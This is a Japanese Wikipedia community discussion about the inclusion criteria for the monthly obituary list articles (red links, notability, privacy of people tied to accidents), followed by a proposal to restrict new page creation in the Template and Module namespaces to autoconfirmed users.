と、私は思うのですが。現在はメインページへのインクルードがなされておりませんが、通常の訃報記事ではなく、{{訃報}}のようなところに件の事故死亡の速報記事が出された場合、たとえ事後に版指定削除されたとしてもPVの大きさゆえに取り返しがつかなくなるかと懸念申し上げます。そうでなくても、もし万が一『当該人物の実名記載』そのものが削除の方針に触れた場合、議論でカバーし切れない場所の記事まで削除の手当てする必要が生じるため(赤リンクなので特殊な操作をしない限りリンク元は辿れない)、訃報記事までも履歴検索で探し出して削除手続きをしなければならないという、コミュニティの持つ限られた編集リソースの浪費という問題が別途ございます。--Licsak(会話) 2026年6月2日 (火) 01:44 (UTC)
- 当該人物の赤リンク記載については、簡単に検索かけても名前を出しての諸々の活動があることが確認出来る点から「著名な人物で、立項される可能性がある」と考えてのことだったとしてもおかしくはないと思います。少なくとも「(特筆性が立証されていない)企業の社長・取締役」「地方議員」「地方公務員」よりは立項の可能性があり得る。個人的には今のネットを中心としたものだけでWP:Nを満たすかは些か微妙な印象ですが、出版物までは当たっていないのでその点は断言できません。なお、当該人物は牧師ですが立正佼成会の出してる佼成新聞に講演録が載ったことがあるのは確認済で、「他の宗教メディアが取り上げる」程度には特筆される人物だったと見なせるとは思います。--KAMUI(会話) 2026年6月2日 (火) 07:55 (UTC)
コメント 「Wikipedia:削除依頼/訃報 2026年3月」赤リンクの状態で訃報一覧に載せられた場合、「赤リンク」の人物は、内部的にはインデックスが作成されず、記事参照一覧の 特別:リンク元/◯◯ から辿れないという技術的な問題があります。他の言語版にある記事は赤リンクでも仕方ないとしても、加筆時点で当該人物の記事がなく(赤リンク)、かつ後にWikipedia:削除の方針で実名記載がアウトになることが予想される場合(例えば当該人物が加害者側となりうる場合)の訃報への記載は、WP:BLPの方針の趣旨に照らしても、倫理的にも記述は避けるべきかと。ちょうどノート:辺野古沖抗議船転覆事故#「不屈」船長の実名の取り扱いについてでまさにそのことが争点になっています。--Licsak(会話) 2026年6月2日 (火) 14:54 (UTC)
コメント 基本的には(1)Wikipedia内に記事がある人物、(2)Wikipedia:独立記事作成の目安やプロジェクト:漫画家#特筆性などの立項基準を満足して記事が作成され得る人物、という基準になるかと思います。なおWikipediaに単独記事がない場合でも、例えば何か有名な作品の作者で作品記事中でかなりの文章量で触れられている人物であったり、グループ記事が存在してグループメンバーとしてそれなりに触れられている人物などであれば、(3)そういった記事へのリンクを付けて記載が可能と考えます。なお100歳以上生きたというセンテナリアンというだけで記載するのは、21世紀の今日では明らかに過剰かと思います。110歳以上のスーパーセンテナリアンは悩ましいところですが、人物記事や関連記事がない限りは掲載する必要はないかもしれません。--Assemblykinematics(会話) 2026年6月2日 (火) 23:21 (UTC)
- 「○○県最長寿者」の訃報が訃報 2002年7月を編集した際にも目立ってたのでセンテナリアンについての考えは参考になりました。また訃報 2025年3月では既に鉄田えみなどの特筆性のないと推定される団体の所属者の訃報や市議会議員の訃報などが掲載されていますが、これらについてはある程度の除去が妥当でしょう。個人的には「Wikipediaには記事があってもその訃報が新聞やニュースではなく、SNSや広報で報道された訃報」の扱いがどうなるのかが気になります。(金子幸代など本人の訃報が1年程度経って、大学の紀要に掲載された例や三井理峯など第三者の調査の結果判明した例など)この場合は少なくともwikipediaの訃報記事の冒頭で「新聞や法人、団体から伝達、告知された人物」も掲載するとあるので掲載されるのでしょうが、一種の雑多な印象を受けます。--名立ゆき(会話) 2026年6月3日 (水) 04:25 (UTC)
訃報記事の位置付けに問題があるのではないでしょうか。2010年4月を例にとると、英語版は「en:Deaths_in_April_2010」という記事名で冒頭には「The following is a list of notable deaths in April 2010. 」と書かれており、フランス語版は「fr:Décès_en_avril_2010」という記事名で冒頭に「Cette page dresse une liste de personnalités mortes au cours du mois d’avril 2010.」とあります。訃報というよりも人物の死去(逝去)そのものについて扱った記事という印象を持ち、他の年月も含めてざっと眺めたところ、フランス語版は多少赤リンクがありましたが、英語版はWikipediaに記事がある人物限定のように見受けられました。- 一方日本語版の場合、例えば「訃報_2007年7月」は2016-04-29T05:02:07時点の版では冒頭に「本項訃報 2007年7月は、2007年7月中に物故した人物の一覧である。」と書かれていましたが、2024-03-22T21:35:23(UTC)時点の版で「訃報 2007年7月(ふほう 2007ねん7がつ)では、2007年7月中に物故した、又は物故が報じられた人物についてまとめる。」という文言に修正されています。日本語版に記事がなく赤字リンクであったり他言語版への仮リンクの人物に配慮したようにも思えますが、日本語版の「訃報」という記事名に引きずられたような印象を持ちます。
- なお英語版の冒頭には「notable」と書かれていますが、単に著名人というだけでなく、「Notability(特筆性)」とも関連があるような感じを受けます。また、前述のフランス語版の冒頭には「fr:Aide:Nécrologie」というヘルプページが紹介されています。「Nécrologie」には死亡記事や訃報といった意味が対応するようですが、訃報ページについてのヘルプという訳ではなく、人物記事も含む様々な記事中における死亡日時について記し方を解説しているだけのようで、他言語版は存在しない模様です。
- あと最近の日本語版の訃報記事(例えば訃報_2026年5月)の冒頭には「(メディアによる報道並びに関係する機関もしくは団体・法人などから伝達・告知が執り行われた人物を含む)」と但し書きがありますが、現時点でWikipedia日本語版に記事がない記事をカバーするとともに、Wikipedia:検証可能性やWikipedia:信頼できる情報源にも配慮した説明と思われます。名立ゆき様は「Wikipediaには記事があってもその訃報が新聞やニュースではなく、SNSや広報で報道された」場合を気にされていますが、Wikipedia:検証可能性#自主公表された情報源:公式サイトを鑑みれば、所属機関の広報や公式SNSは(記載すべきか否かという問題とは別に)出典として使えると思います。--Assemblykinematics(会話) 2026年6月3日 (水) 16:56 (UTC)
- 「○○県最長寿者」の訃報が訃報 2002年7月を編集した際にも目立ってたのでセンテナリアンについての考えは参考になりました。また訃報 2025年3月では既に鉄田えみなどの特筆性のないと推定される団体の所属者の訃報や市議会議員の訃報などが掲載されていますが、これらについてはある程度の除去が妥当でしょう。個人的には「Wikipediaには記事があってもその訃報が新聞やニュースではなく、SNSや広報で報道された訃報」の扱いがどうなるのかが気になります。(金子幸代など本人の訃報が1年程度経って、大学の紀要に掲載された例や三井理峯など第三者の調査の結果判明した例など)この場合は少なくともwikipediaの訃報記事の冒頭で「新聞や法人、団体から伝達、告知された人物」も掲載するとあるので掲載されるのでしょうが、一種の雑多な印象を受けます。--名立ゆき(会話) 2026年6月3日 (水) 04:25 (UTC)
情報 Wikipedia日本語版では、Wikipedia:特筆性 (人物)はガイドラインにする前段階の (proposed) の状態ですが、英語版Wikipediaでは、en:Wikipedia:Notability (people)は拘束力のあるガイドラインであり、そこそこ自制がきくようです。ここには結構厳しいことも原則論として載っていて、まず、『「特筆性がある」(notable) ≠ 「有名である」(famous) 』だと断じています。ことひとつの出来事でおいてのみ著名である人物の場合、その出来事そのものに特筆性があり、かつその主要人物として役割が大きい時に限り、人物記事の立項を認める、とあり、出来事における人物の重要度が大きくない場合は出来事の記事にその人物を組み入れろ、とあります。さらに、同じ出来事でも犯罪等は別途、規制を設け、まずは継続的な報道があることがもっとも重要視され(単発の犯罪は除外)、「単に被害者であることをもって人物記事は作成せず、『歴史的な報道として』当該被害者についての継続的な報道があることを要する(冤罪事件など)」、とかがあり、特別な注記として、無罪推定の原則からして至極真っ当なことですが、「裁判で量刑が確定していない加害者の記事は作るな」(en:Wikipedia:Notability (people)#Crime victims and perpetratorの節内)というのもあります。残念なことに日本語版の人物に関する特筆性でこうした原理原則が機能していないのは、まずいような気がします。また別のところで見たと思いますが、「事件・事故記事では人物名は基本的に載せるな」、という規定もあったような気がします。--Licsak(会話) 2026年6月3日 (水) 21:28 (UTC)- ありがとうございます。従前の個人的な疑問は解決しました。訃報記事に関しては他言語版で足並みそろってこれと言った方針が存在するわけでもなく、また日本語版で特筆性のルールが整備されていない状況だと「これはよくてこれは過剰」と仮説でも方針や基準を定めることは複雑な話になりそうですね。--名立ゆき(会話) 2026年6月4日 (木) 08:15 (UTC)
テンプレート名前空間およびモジュール名前空間におけるページの新規作成を自動承認された利用者以上に制限することを提案します。
テンプレート名前空間・モジュール名前空間における新規作成制限の導入提案
LTA:ELLS(全般10範囲追加の議論)やWP:VIP#地名記事独自研究、カテゴリ細分化仮アカウント群、直近ではCategory:注意を要するスタブテンプレートに含まれるスタブテンプレート等を濫造している仮アカウント群などテンプレートを粗製濫造するユーザーがいます。これらのユーザーは非ログイン状態でテンプレートを作成することも多いです。
テンプレートやモジュール名前空間では純粋な新規利用者が新規ページを作成しようとするシチュエーションはほぼないと考えています。実際、新規利用者による作成は非常に少ないです。
また、多数のページに影響することから説明責任の観点からも自動承認を要求したほうがよいと考えます。
例外としてありうるものは以下のパターンを考えています。
- /doc ページ
- /sandbox ページ
- /testcases ページ
- モジュール:サンドボックス 配下のサブページ
なお、既存ページの編集、ノートページの議論、利用者名前空間での作成は今回の提案の対象外とします。
名前空間全体の作成制限については以下の議論も参考になると思います。